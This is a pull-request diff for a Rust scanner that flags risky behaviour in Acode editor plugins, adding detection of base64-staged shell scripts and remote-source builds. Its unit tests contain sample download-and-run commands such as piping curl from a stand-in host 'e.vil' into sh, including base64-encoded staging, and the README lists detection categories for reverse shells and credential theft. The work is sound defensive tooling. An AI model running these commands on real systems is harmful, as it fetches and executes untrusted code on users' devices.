Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 21 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -98,13 +98,28 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's
reading `/etc/profile` is not persistence; Acode's own
`/data/data/com.foxdebug.acode…` folder is not another app's.
- **Shell helpers are followed.** In `const sh = c => Executor.execute(c)`,
each `sh("…")` call is graded with its own command. When every use of the
helper is a direct call, the helper's body adds no finding of its own. The
each `sh("…")` call is graded with its own command, also when the sink sits
in a callback inside the helper (`new Promise(r => Executor.start(cmd, …))`).
When every use of the helper is a direct call, the helper's body adds no
finding of its own. The
scanner also follows `this.run(cmd)` methods, getters such as
`getExecutor()`, quoting helpers (`'${s.replace(/'/g, …)}'`,
`JSON.stringify`), functions that build a script from a template, `$VAR`
names assigned earlier in the same script, and every branch of
`a ? "x" : "y"`.
names assigned earlier in the same script, every branch of
`a ? "x" : "y"`, and `btoa(…)` or a local base64 helper that ends in `btoa`.
- **Encoded and staged scripts are opened.** Base64 piped through
`base64 -d` in a command (`printf %s <b64> | base64 -d > /tmp/x.sh`,
`echo <b64> | base64 -d | sh`) is decoded and checked like any other command
(`encoded_script`). When a file is written with content the scanner can't
read and is then run (`sh /tmp/x.sh`, from Executor or a terminal tab), that
is `staged_script` (H), and the file's multi-line, script-shaped constants are
checked as the likely content.
- **Source built at runtime is listed.** `git clone` followed by a build
(`make`, `cmake`, `npm install`, `cargo build`, …), `pip install git+…`, and
`npm install github:…` are `builds_remote_source`, naming each repository
(`for R in a b c; do git clone …/$R` loops are expanded). Medium when
unpinned, Low when pinned to a tag or commit (`--branch v1.2`,
`git checkout <sha>`, `pkg@<ref>`).
- **Process input is not a command.** Text written with `Executor.write` to a
program the plugin started (a language server, a kernel driver) is input
(Low). It is graded as a command only when the started process is a shell
Expand Down Expand Up @@ -174,7 +189,7 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's
| --- | --- |
| Archive | `install_path_collision` (C), `path_traversal`, `duplicate_entry`, `encrypted_entry`, `unsupported_compression`, `oversized_entry`, `total_size_limit`, `too_many_entries`, `native_binary`, `header_mismatch` (H), `absolute_path`, `nested_archive`, `metadata_path_content` (M) |
| Manifest | `missing`, `invalid_json`, `no_entrypoint`, `main_escapes_plugin_dir` (C), `missing_id/name/version`, `readme_password_form` (readme or changelog renders a password form; DOMPurify keeps forms) (H), `invalid_id`, `invalid_version`, `invalid_price`, `invalid_min_version_code`, `missing_icon`, `missing_readme`, `non_js_entry`, `main_loader_mismatch`, `readme_form` (M), `dependencies`, `icon_too_large` (L), `main_fallback` (I) |
| Shell | `remote_command` (C), `decoded_command` (H), `dangerous_command` (C/H/M: download-and-run, decode-and-run, reverse shell, miner, wiping `/sdcard`/`$HOME`, other apps' data, `su`, download-then-chmod, SSH keys / stored credentials, curl file uploads, piping env or files to the network, untrusted package sources, cron/boot persistence, shell-profile persistence), `load_library` (C), `exec` (H/M/L by what the command runs; keys end in `:program`, `:inspect`, or `write:input`), `terminal_module`, `terminal_environment`, `process_control` (M/H), `script_file` (L; shipped `.sh` / `#!` scripts get the same command checks) |
| Shell | `remote_command` (C), `decoded_command` (H), `dangerous_command` (C/H/M: download-and-run, decode-and-run, reverse shell, miner, wiping `/sdcard`/`$HOME`, other apps' data, `su`, download-then-chmod, SSH keys / stored credentials, curl file uploads, piping env or files to the network, untrusted package sources, cron/boot persistence, shell-profile persistence), `load_library` (C), `exec` (H/M/L by what the command runs; keys end in `:program`, `:inspect`, or `write:input`), `terminal_module`, `terminal_environment`, `process_control` (M/H), `staged_script` (H), `encoded_script`, `builds_remote_source` (M; L when pinned), `script_file` (L; shipped `.sh` / `#!` scripts get the same command checks) |
| Native | `plugin_context_bridge` (`cordova.exec` to `Tee`), `cordova_exec_dynamic` (C), `account_bridge` (`Authenticator`; C for `saveToken`, else H), `cordova_exec`, `manage_all_files`, `in_app_purchase` (H), `permission_request`, `launch_app`, `intent_access`, `purchase_read`, `cordova_require`, `cordova_plugin` (M), `file_intent`, `device_setting`, `os_integration` (L) |
| Tampering | `core_module_override` (`acode.define("fs")` etc.) (C), `self_modify` (writes scripts or `plugin.json` where code is loaded from; C when the content is downloaded or it rewrites the entry/manifest, else H), `acode_api`, `cordova_bridge`, `network_hook`, `native_api` (hooks `system`, `Executor`, `sdcard`…), `dom_hook` (wraps `addEventListener`, `appendChild`, input `value`…), `ads`, `plugin_settings` (edits `pluginsDisabled`), `other_plugin`, `plugin_files` (writes into another plugin's folder), `rewards` (H), `editor_manager`, `define_dynamic`, `unmount_dynamic` (M) |
| Dynamic code | `remote_code`, `remote_import` (C), `remote_script`, `remote_worker`, `decoded_exec`, `indirect_function_constructor` (H), `eval`, `function_constructor`, `inline_script`, `script_blob`, `html_script`, `remote_html`, `decoded_html` (M: `innerHTML`, `insertAdjacentHTML`, `createContextualFragment`, `srcdoc`, `on*` attributes), `string_timer`, `script_element`, `import_expression`, `inline_handler` (L) |
Expand All @@ -193,7 +208,7 @@ Prefixes are omitted in the table; full IDs look like `shell.exec`.
{
"schema_version": 2,
"scanner_version": "0.4.1",
"rules_version": "2026.11.3", // rescan stored plugins when this changes
"rules_version": "2026.11.4", // rescan stored plugins when this changes
"plugin": { "id", "name", "version", "main", "entry", "permissions", "dependencies", ... },
"verdict": { "risk": "high", "recommendation": "review", "complete": true, "reasons": ["..."] },
"summary": { "total_findings", "by_severity", "by_category" },
Expand Down
110 changes: 107 additions & 3 deletions src/js.rs
Original file line number Diff line number Diff line change
Expand Up @@ -63,6 +63,18 @@ pub fn analyze(ctx: &mut RuleContext<'_>) -> ParseOutcome {
.visit_program(&parsed.program);
}
collect_shell_wrappers(&mut resolver, &parsed.program);
// Multi-line constants that read like shell scripts. Checked only when the
// file runs a script it wrote at runtime, as candidates for its content.
for (symbol, value) in &resolver.strings {
if rules::looks_like_shell_script(value) {
ctx.facts
.script_constants
.push((value.clone(), resolver.scoping.symbol_span(*symbol)));
}
}
ctx.facts
.script_constants
.sort_by_key(|(_, span)| span.start);

Scanner {
ctx,
Expand Down Expand Up @@ -93,6 +105,8 @@ struct Resolver<'s> {
returns: HashMap<SymbolId, String>,
/// Shell-quoting helpers: `q(s)` is `'s'`, so `sh -c ${q("ls")}` stays readable.
quoters: HashMap<SymbolId, char>,
/// Base64 helpers: `toBase64(s)` that return `btoa(…)` of their argument.
encoders: HashSet<SymbolId>,
/// Partly known strings bound to a constant: `const cmd = `cd ${dir} && ls``.
approx_strings: HashMap<SymbolId, String>,
/// Constants that branch: `const c = a ? "ls" : "rm -rf /"`.
Expand Down Expand Up @@ -157,6 +171,7 @@ impl<'s> Resolver<'s> {
decoded: HashSet::new(),
returns: HashMap::new(),
quoters: HashMap::new(),
encoders: HashSet::new(),
approx_strings: HashMap::new(),
variant_strings: HashMap::new(),
builders: HashMap::new(),
Expand Down Expand Up @@ -370,6 +385,15 @@ impl<'s> Resolver<'s> {
)
.collect();
}
// Folded so a command staging `printf %s ${btoa(script)} | base64 -d`
// still carries the script, which the command checks then decode.
Some("btoa") => {
let bytes: Option<Vec<u8>> = arg(0)?
.chars()
.map(|ch| u8::try_from(u32::from(ch)).ok())
.collect();
return Some(base64::engine::general_purpose::STANDARD.encode(bytes?));
}
Some("decodeURIComponent" | "decodeURI" | "unescape") => {
return percent_decode(&arg(0)?);
}
Expand All @@ -395,6 +419,12 @@ impl<'s> Resolver<'s> {
{
return Some(format!("{quote}{}{quote}", arg(0)?));
}
if self
.local_function(&call.callee)
.is_some_and(|symbol| self.encoders.contains(&symbol))
{
return Some(base64::engine::general_purpose::STANDARD.encode(arg(0)?.as_bytes()));
}

let Expression::StaticMemberExpression(member) = call.callee.get_inner_expression() else {
return None;
Expand Down Expand Up @@ -998,6 +1028,18 @@ impl AliasCollector<'_, '_> {
{
self.resolver.returns.insert(*symbol, path);
}
// `function toBase64(s) { …; return btoa(bin) }`
if params.len() == 1
&& let [Expression::CallExpression(call)] = returns
.iter()
.map(|expr| expr.get_inner_expression())
.collect::<Vec<_>>()
.as_slice()
&& self.resolver.resolve(&call.callee).as_deref() == Some("btoa")
{
self.resolver.encoders.insert(*symbol);
return;
}
// Every return is the parameter itself or the quoted parameter.
if let [Some(param)] = params.as_slice() {
let mut quote = None;
Expand Down Expand Up @@ -1499,16 +1541,24 @@ impl<'a> Visit<'a> for WrapperCollector<'_, '_, '_> {
let (wrapper, _) = self.known.get(key.as_ref()?)?;
Some((wrapper.sink.clone(), wrapper.param, wrapper.sink_index))
});
// The sink may sit in a callback inside the helper
// (`new Promise(res => Executor.start(cmd, …))`): the command is still
// the helper's parameter, so look outward for the frame that owns it.
if let Some((sink, index, sink_index)) = target
&& let Some(frame) = self.frames.last()
&& let Some(owner) = &frame.owner
&& let Some(Expression::Identifier(ident)) = it
.arguments
.get(index)
.and_then(Argument::as_expression)
.map(Expression::get_inner_expression)
&& let Some(symbol) = self.resolver.symbol(ident)
&& let Some(param) = frame.params.iter().position(|p| *p == Some(symbol))
&& let Some((frame, param)) = self.frames.iter().rev().find_map(|frame| {
frame
.params
.iter()
.position(|p| *p == Some(symbol))
.map(|param| (frame, param))
})
&& let Some(owner) = &frame.owner
&& !self.resolver.scoping.symbol_is_mutated(symbol)
{
self.new.push((
Expand Down Expand Up @@ -2305,6 +2355,60 @@ mod tests {
));
}

#[test]
fn follows_helpers_whose_sink_sits_in_a_callback() {
// `exec(cmd)` that wraps Executor in a Promise is still a command helper.
let source = "(function(){ function exec(cmd) {
return new Promise((resolve, reject) => {
Promise.resolve(Executor.start(cmd, (t, d) => {}, true)).then(resolve, reject);
});
}
exec('curl https://e.vil/x | sh'); exec('uname -m'); })()";
assert!(has(source, "shell.dangerous_command"), "{:?}", ids(source));
// Every call was graded, so the sink inside adds no runtime finding.
let benign = source.replace("curl https://e.vil/x | sh", "apk add git");
let keys = shell_keys(&benign);
assert!(
!keys.iter().any(|(_, severity)| *severity == Severity::High),
"{keys:?}"
);
}

#[test]
fn decodes_base64_staged_scripts() {
// btoa of a constant script, staged into a file and run.
let staged = "const s = ['set -e', 'curl https://e.vil/x | sh'].join('\\n');
Executor.start(`printf %s ${btoa(s)} | base64 -d > /tmp/s.sh && sh /tmp/s.sh`);";
assert!(has(staged, "shell.encoded_script"), "{:?}", ids(staged));
assert!(has(staged, "shell.dangerous_command"), "{:?}", ids(staged));

// A local `toBase64` helper that ends in btoa folds the same way.
let helper = "(function(){ function enc(x) { let b = ''; return btoa(b + x) }
Executor.start(`echo ${enc('curl https://e.vil/x | sh')} | base64 -d | sh`); })()";
assert!(has(helper, "shell.dangerous_command"), "{:?}", ids(helper));

// A script the scanner can't read, written and then run.
let hidden = "const SETUP = ['set -e', 'apk add git build-base',
'git clone https://github.com/a/b /r', 'cd /r', 'make'].join('\\n');
class P { go(script) {
Executor.start(`printf %s ${btoa(script)} | base64 -d > /tmp/x.sh`);
acode.require('terminal').write(1, 'sh /tmp/x.sh\\r');
} run() { this.go(localStorage.s || SETUP) } }";
assert!(has(hidden, "shell.staged_script"), "{:?}", ids(hidden));
// Its script-shaped constants are checked as the likely content.
assert!(
has(hidden, "shell.builds_remote_source"),
"{:?}",
ids(hidden)
);

// Writing a file it never runs is not a staged script.
assert!(!has(
"Executor.start(`printf %s ${x} | base64 -d > /tmp/data.bin`)",
"shell.staged_script"
));
}

#[test]
fn follows_getters_quoting_helpers_and_builders() {
// `getExecutor()` used to hide every call.
Expand Down
2 changes: 1 addition & 1 deletion src/report.rs
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ use crate::severity::{Category, Confidence, Severity};
/// Bumped whenever the JSON shape changes incompatibly.
pub const SCHEMA_VERSION: u32 = 2;
/// Bumped whenever rules or severities change, so stored reports can be rescanned.
pub const RULES_VERSION: &str = "2026.11.3";
pub const RULES_VERSION: &str = "2026.11.4";

/// Upper bound on extra source locations kept per aggregated finding.
const MAX_LOCATIONS: usize = 8;
Expand Down
Loading
Loading